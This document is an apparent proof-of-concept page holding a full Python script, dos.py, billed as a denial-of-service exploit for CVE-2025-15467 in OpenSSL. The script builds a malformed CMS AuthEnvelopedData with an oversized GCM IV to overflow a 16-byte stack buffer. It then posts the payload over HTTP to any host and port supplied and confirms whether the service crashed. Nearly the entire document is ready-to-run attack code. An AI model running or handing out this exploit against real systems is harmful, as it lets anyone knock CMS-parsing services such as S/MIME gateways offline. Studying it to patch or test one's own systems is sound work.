4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / dos.py PY
#!/usr/bin/env python3
"""
CVE-2025-15467 Denial of Service Exploit

Sends malformed CMS AuthEnvelopedData with oversized IV to crash
vulnerable OpenSSL services.

Target must be a service that parses CMS/PKCS#7 content (e.g., S/MIME gateway,
our vulnerable test service, etc.)

Usage:
    python3 cve_2025_15467_dos.py <host> <port> [--endpoint /cms]

Exit codes:
    0 - Target crashed (DoS successful)
    1 - Target did not crash
    2 - Connection error
"""

import argparse
import socket
import sys
import time


def encode_length(length: int) -> bytes:
    """Encode ASN.1 DER length."""
    if length < 128:
        return bytes([length])
    elif length < 256:
        return bytes([0x81, length])
    elif length < 65536:
        return bytes([0x82, (length >> 8) & 0xff, length & 0xff])
    else:
        return bytes([0x83, (length >> 16) & 0xff, (length >> 8) & 0xff, length & 0xff])


def encode_tlv(tag: int, value: bytes) -> bytes:
    """Encode ASN.1 TLV."""
    return bytes([tag]) + encode_length(len(value)) + value


def encode_integer(value: int) -> bytes:
    """Encode ASN.1 INTEGER."""
    if value == 0:
        return encode_tlv(0x02, b'\x00')
    result = []
    temp = value
    while temp:
        result.append(temp & 0xff)
        temp >>= 8
    result.reverse()
    if result[0] & 0x80:
        result.insert(0, 0)
    return encode_tlv(0x02, bytes(result))


def encode_octet_string(data: bytes) -> bytes:
    """Encode ASN.1 OCTET STRING."""
    return encode_tlv(0x04, data)


def encode_sequence(contents: bytes) -> bytes:
    """Encode ASN.1 SEQUENCE."""
    return encode_tlv(0x30, contents)


def encode_oid(oid: str) -> bytes:
    """Encode ASN.1 OID."""
    parts = [int(x) for x in oid.split('.')]
    result = [parts[0] * 40 + parts[1]]
    for part in parts[2:]:
        if part == 0:
            result.append(0)
        else:
            encoded = []
            temp = part
            while temp:
                encoded.append(temp & 0x7f)
                temp >>= 7
            encoded.reverse()
            for i in range(len(encoded) - 1):
                encoded[i] |= 0x80
            result.extend(encoded)
    return encode_tlv(0x06, bytes(result))


def create_dos_payload(iv_size: int = 512) -> bytes:
    """
    Create malformed CMS AuthEnvelopedData that triggers stack buffer overflow.

    The vulnerability is in evp_cipher_get_asn1_aead_params() which copies
    the IV from GCMParameters into a 16-byte stack buffer without bounds checking.
    """

    OID_AUTHENVELOPED = "1.2.840.113549.1.9.16.1.23"
    OID_AES_256_GCM = "2.16.840.1.101.3.4.1.46"
    OID_DATA = "1.2.840.113549.1.7.1"
    OID_RSA = "1.2.840.113549.1.1.1"

    # PAYLOAD: Oversized IV causes stack buffer overflow
    # EVP_MAX_IV_LENGTH is 16, we send much more
    overflow_iv = b'A' * iv_size

    # GCMParameters ::= SEQUENCE { nonce OCTET STRING, icvlen INTEGER }
    gcm_params = encode_sequence(
        encode_octet_string(overflow_iv) +
        encode_integer(16)
    )

    # ContentEncryptionAlgorithmIdentifier
    content_enc_alg = encode_sequence(
        encode_oid(OID_AES_256_GCM) +
        gcm_params
    )

    # Dummy encrypted content
    encrypted_content = b'\x00' * 32

    # EncryptedContentInfo
    encrypted_content_info = encode_sequence(
        encode_oid(OID_DATA) +
        content_enc_alg +
        encode_tlv(0x80, encrypted_content)
    )

    # Minimal RecipientInfo
    issuer_serial = encode_sequence(
        encode_sequence(b'') +
        encode_integer(1)
    )

    key_trans = encode_sequence(
        encode_integer(0) +
        issuer_serial +
        encode_sequence(encode_oid(OID_RSA) + encode_tlv(0x05, b'')) +
        encode_octet_string(b'\x00' * 256)
    )

    recipient_infos = encode_tlv(0x31, key_trans)

    # MAC
    mac = encode_octet_string(b'\x00' * 16)

    # AuthEnvelopedData
    auth_env_data = encode_sequence(
        encode_integer(0) +
        recipient_infos +
        encrypted_content_info +
        mac
    )

    # ContentInfo
    content_info = encode_sequence(
        encode_oid(OID_AUTHENVELOPED) +
        encode_tlv(0xA0, auth_env_data)
    )

    return content_info


def send_http_payload(host: str, port: int, endpoint: str, payload: bytes,
                      timeout: float = 10.0) -> dict:
    """Send payload via HTTP POST."""
    result = {
        'connected': False,
        'sent': False,
        'response': None,
        'crashed': False,
        'error': None
    }

    try:
        sock = socket.create_connection((host, port), timeout=timeout)
        result['connected'] = True

        # Build HTTP request
        request = (
            f"POST {endpoint} HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Content-Type: application/cms\r\n"
            f"Content-Length: {len(payload)}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode() + payload

        sock.send(request)
        result['sent'] = True

        # Try to read response
        sock.settimeout(5.0)
        try:
            response = sock.recv(4096)
            result['response'] = response.decode('utf-8', errors='ignore')
        except socket.timeout:
            result['crashed'] = True
            result['error'] = "Server timeout (likely crashed)"
        except ConnectionResetError:
            result['crashed'] = True
            result['error'] = "Connection reset by peer (server crashed)"
        except BrokenPipeError:
            result['crashed'] = True
            result['error'] = "Broken pipe (server crashed)"

        sock.close()

    except ConnectionRefusedError:
        result['error'] = "Connection refused"
    except socket.timeout:
        result['error'] = "Connection timeout"
    except Exception as e:
        result['error'] = str(e)

    return result


def verify_service_down(host: str, port: int, timeout: float = 3.0) -> bool:
    """Check if service is still responding."""
    try:
        sock = socket.create_connection((host, port), timeout=timeout)
        sock.send(b"GET /health HTTP/1.1\r\nHost: x\r\n\r\n")
        sock.settimeout(2.0)
        response = sock.recv(1024)
        sock.close()
        return False  # Service is up
    except:
        return True  # Service is down


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-15467 DoS Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
    %(prog)s 192.168.1.100 8080
    %(prog)s localhost 8080 --endpoint /parse-cms
    %(prog)s target.local 8080 --iv-size 1024

Target Requirements:
    The target service must parse CMS/PKCS#7 content. Use the
    vulnerable_cms_service for testing.
        """
    )
    parser.add_argument('host', help='Target host')
    parser.add_argument('port', type=int, help='Target port')
    parser.add_argument('--endpoint', default='/cms', help='HTTP endpoint (default: /cms)')
    parser.add_argument('--iv-size', type=int, default=512, help='Overflow IV size (default: 512)')
    parser.add_argument('--timeout', type=float, default=10.0, help='Timeout in seconds')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')

    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2025-15467 Denial of Service Exploit")
    print("Stack Buffer Overflow in CMS AuthEnvelopedData")
    print("=" * 60)
    print()
    print(f"Target: {args.host}:{args.port}")
    print(f"Endpoint: {args.endpoint}")
    print(f"IV Size: {args.iv_size} bytes (buffer is 16 bytes)")
    print()

    # Create payload
    print("[*] Creating malformed CMS payload...")
    payload = create_dos_payload(args.iv_size)
    print(f"[*] Payload size: {len(payload)} bytes")

    if args.verbose:
        print(f"[*] Payload hex (first 64 bytes): {payload[:64].hex()}")

    # Check if service is up first
    print("[*] Checking if service is responding...")
    if verify_service_down(args.host, args.port):
        print("[-] Service is not responding. Is it running?")
        return 2

    print("[+] Service is up")
    print()

    # Send exploit
    print("[*] Sending malformed CMS to trigger overflow...")
    result = send_http_payload(args.host, args.port, args.endpoint, payload, args.timeout)

    if not result['connected']:
        print(f"[-] Failed to connect: {result['error']}")
        return 2

    if not result['sent']:
        print(f"[-] Failed to send payload: {result['error']}")
        return 2

    print("[*] Payload sent")

    if result['crashed']:
        print(f"[+] {result['error']}")
    elif result['response']:
        if args.verbose:
            print(f"[*] Response: {result['response'][:200]}")
        if '200' in result['response']:
            print("[*] Server returned 200 - checking if still alive...")
        elif '400' in result['response'] or '500' in result['response']:
            print("[*] Server returned error - checking if still alive...")

    # Verify service crashed
    print()
    print("[*] Verifying service status...")
    time.sleep(1)

    if verify_service_down(args.host, args.port):
        print()
        print("=" * 60)
        print("[+] SUCCESS: SERVICE CRASHED!")
        print("=" * 60)
        print()
        print("The service is no longer responding.")
        print("CVE-2025-15467 DoS confirmed.")
        return 0
    else:
        print()
        print("=" * 60)
        print("[-] Service is still responding")
        print("=" * 60)
        print()
        print("Possible reasons:")
        print("  - Service may be patched")
        print("  - Endpoint may not parse CMS")
        print("  - Service may have crash recovery")
        return 1


if __name__ == '__main__':
    sys.exit(main())